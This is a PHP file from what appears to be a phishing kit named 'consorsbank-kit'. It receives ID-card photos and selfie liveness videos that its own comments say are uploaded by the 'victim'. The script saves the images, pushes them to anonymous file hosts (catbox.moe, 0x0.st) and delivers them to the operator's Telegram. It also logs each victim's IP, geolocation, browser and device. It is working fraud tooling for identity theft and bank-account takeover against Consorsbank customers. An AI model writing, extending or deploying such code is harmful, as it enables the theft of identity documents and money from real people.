consorsbank-kit / capture.php
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145
Raw History Blame Contribute Delete
7.28 kB
<?php
/**
* capture.php — document / selfie-liveness capture receiver.
*
* Realtime pipeline per POST (victim uploads each shot the moment it is taken):
* 1. Decode the data URL and write the ORIGINAL, full-resolution file to
* captures/<client_id>_<kind>[_<idx>].jpg|webm (no re-encoding).
* 2. Upload the file to the configured free cloud hosts (CLOUD_UPLOAD,
* default catbox.moe = permanent/lifetime; optional 0x0.st).
* 3. Deliver the file to Telegram as a *document* (sendDocument — full
* resolution, no recompression) whenever TELEGRAM_* is configured.
* 4. Append a record to captures/manifest.jsonl (append-only audit log).
* 5. Persist the local path + cloud-URL JSON on the live row (live_users).
* 6. Fire the ofb_msg_capture Telegram text notification (unless notify=0).
*
* POST fields: client_id, kind (id_front|id_back|selfie), image (data URL),
* optional video (data URL), optional idx (selfie keyframe 1..3), quality
* (object: light/sharp/stable), device, bot, hp, notify.
* Returns {status, files, cloud}.
*/
declare(strict_types=1);
require_once __DIR__ . '/lib.php';
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
http_response_code(204);
exit;
}
/** Read merged JSON / form / query input. */
function cp_input(): array
{
$in = array_merge($_GET, $_POST);
$raw = file_get_contents('php://input');
if (is_string($raw) && $raw !== '') {
$j = json_decode($raw, true);
if (is_array($j)) {
$in = array_merge($in, $j);
}
}
return $in;
}
/** Decode a data URL into [binary, extension]. Empty binary on failure. */
function cp_decode(string $dataUrl): array
{
if (preg_match('#^data:(image/jpeg|image/png|video/webm|video/mp4);base64,(.+)$#s', $dataUrl, $m)) {
$mime = $m[1];
$ext = $mime === 'image/jpeg' ? 'jpg' : ($mime === 'image/png' ? 'png' : ($mime === 'video/webm' ? 'webm' : 'mp4'));
$bin = base64_decode($m[2], true);
if ($bin !== false && $bin !== '') {
return [$bin, $ext];
}
}
return ['', ''];
}
$in = cp_input();
$clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? '')));
$kind = (string) ($in['kind'] ?? '');
$allowed = ['id_front', 'id_back', 'selfie'];
if ($clientId === '' || !in_array($kind, $allowed, true)) {
echo json_encode(['status' => 'error', 'error' => 'client_id and kind (id_front|id_back|selfie) required']);
exit;
}
$safeId = preg_replace('/[^A-Za-z0-9\-]/', '', $clientId);
if ($safeId === '') {
echo json_encode(['status' => 'error', 'error' => 'bad client_id']);
exit;
}
$dir = __DIR__ . '/captures';
if (!is_dir($dir)) {
@mkdir($dir, 0775, true);
}
$idx = isset($in['idx']) ? max(0, (int) $in['idx']) : 0;
$saved = [];
$cloud = [];
/* ---- 1) original image (full resolution, as captured) -------------------- */
$image = (string) ($in['image'] ?? '');
if ($image !== '') {
[$bin, $ext] = cp_decode($image);
if ($bin !== '') {
$suffix = ($kind === 'selfie' && $idx > 0) ? '_' . $idx : '';
$rel = 'captures/' . $safeId . '_' . $kind . $suffix . '.' . $ext;
if (@file_put_contents(__DIR__ . '/' . $rel, $bin) !== false) {
$saved[] = $rel;
/* ---- 2) free-lifetime cloud upload ---- */
$cloud = array_merge($cloud, ofb_cloud_upload(__DIR__ . '/' . $rel, basename($rel)));
}
}
}
/* ---- 1b) original video clip (selfie liveness webm) ---------------------- */
$video = (string) ($in['video'] ?? '');
$videoRel = '';
if ($video !== '') {
[$vbin, $vext] = cp_decode($video);
if ($vbin !== '') {
$videoRel = 'captures/' . $safeId . '_' . $kind . '.' . $vext;
if (@file_put_contents(__DIR__ . '/' . $videoRel, $vbin) !== false) {
$saved[] = $videoRel;
$cloud = array_merge($cloud, ofb_cloud_upload(__DIR__ . '/' . $videoRel, basename($videoRel)));
} else {
$videoRel = '';
}
}
}
/* ---- 5) persist on the live row ------------------------------------------ */
$primary = '';
if ($kind === 'selfie' && $videoRel !== '') {
$primary = $videoRel;
} elseif ($saved) {
$primary = $saved[0];
}
try {
$pdo = ofb_db();
$fields = ['ip_address' => ofb_client_ip(), 'last_seen' => date('Y-m-d H:i:s')];
if ($primary !== '') {
ofb_save_capture($clientId, $kind, $primary);
}
if ($cloud) {
$fields['capture_cloud'] = json_encode(['kind' => $kind, 'urls' => $cloud], JSON_UNESCAPED_SLASHES);
ofb_upsert($pdo, $clientId, $fields);
$fields = []; // already written
}
if ($fields) {
ofb_upsert($pdo, $clientId, $fields);
}
} catch (Throwable $e) {
// best-effort
}
/* ---- 3) Telegram document delivery (full resolution) ---------------------- */
$hp = (string) ($in['hp'] ?? '') !== '';
$bot = $hp ? 'bot' : (string) ($in['bot'] ?? '');
$device = (string) ($in['device'] ?? '');
$quality = is_array($in['quality'] ?? null) ? $in['quality'] : [];
$ip = ofb_client_ip();
$ua = (string) ($_SERVER['HTTP_USER_AGENT'] ?? '');
$kindMap = ['id_front' => 'Ausweis Vorderseite', 'id_back' => 'Ausweis Rückseite', 'selfie' => 'Selfie (Live-Check)'];
$kindLabel = $kindMap[$kind] ?? $kind;
foreach ($saved as $rel) {
$abs = __DIR__ . '/' . $rel;
$caption = "|==- Consorsbank -==|\n" . $kindLabel . ' · ' . $clientId
. "\n" . basename($rel) . ($cloud ? "\nCloud: " . implode(' ', $cloud) : '')
. "\n#Client_" . $clientId;
ofb_telegram_document($abs, basename($rel), $caption);
}
/* ---- 4) append-only manifest ---------------------------------------------- */
if ($saved) {
ofb_capture_manifest([
'ts' => date('Y-m-d H:i:s'),
'client_id' => $clientId,
'kind' => $kind,
'idx' => $idx,
'files' => $saved,
'cloud' => $cloud,
'quality' => [
'light' => isset($quality['light']) ? (int) round((float) $quality['light']) : null,
'sharp' => isset($quality['sharp']) ? (int) round((float) $quality['sharp']) : null,
'stable' => isset($quality['stable']) ? (int) round((float) $quality['stable']) : null,
],
'device' => $device,
'bot' => $bot,
'ip' => $ip,
]);
}
/* ---- 6) Telegram text notification ---------------------------------------- */
$notify = (string) ($in['notify'] ?? '1') !== '0';
if ($notify && ($saved || $videoRel)) {
ofb_telegram(ofb_msg_capture([
'client_id' => $clientId,
'device' => $device,
'ip' => $ip,
'geo' => ofb_geo($ip),
'browser' => ofb_browser($ua),
'kind' => $kind,
'quality' => $quality,
'video' => $videoRel !== '' ? 'ja (' . basename($videoRel) . ')' : '',
'file' => implode(', ', $saved),
]));
}
echo json_encode([
'status' => 'ok',
'files' => $saved,
'cloud' => $cloud,
]);